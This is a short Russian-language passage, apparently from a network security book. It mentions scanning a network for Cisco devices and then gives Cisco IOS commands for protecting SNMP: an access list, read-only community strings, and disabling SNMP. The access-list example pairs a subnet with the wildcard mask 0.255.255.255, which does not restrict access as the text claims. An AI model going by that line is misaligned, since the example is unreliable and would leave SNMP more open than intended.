После выбора требуемого перечня портов можно приступать к сканированию сети (172 .16. 255. 0) на предмет поиска устройств Cisco.
Защита
Защита
Для того чтобы воспрепятствовать злоумышленнику получить старую базу MIB, можно предпринять следующие меры.
Используйте список ACL, чтобы разрешить применение протокола SNMP только для определенных узлов или сетей. На устройствах Cisco для этого нужно воспользоваться командой, имеющей следующий вид.
access-list 101 permit udp 172.29.11.0 0.255.255.255 any eq 161 log
Включите режим доступа с помощью SNMP только для чтения (ко). На устройствах Cisco для этого нужно воспользоваться командой, имеющей следующий вид. snmp-server community <сложная строка доступа> RO
Лучше всего вообще отключите доступ через SNMP, воспользовавшись следующей командой, no snmp-server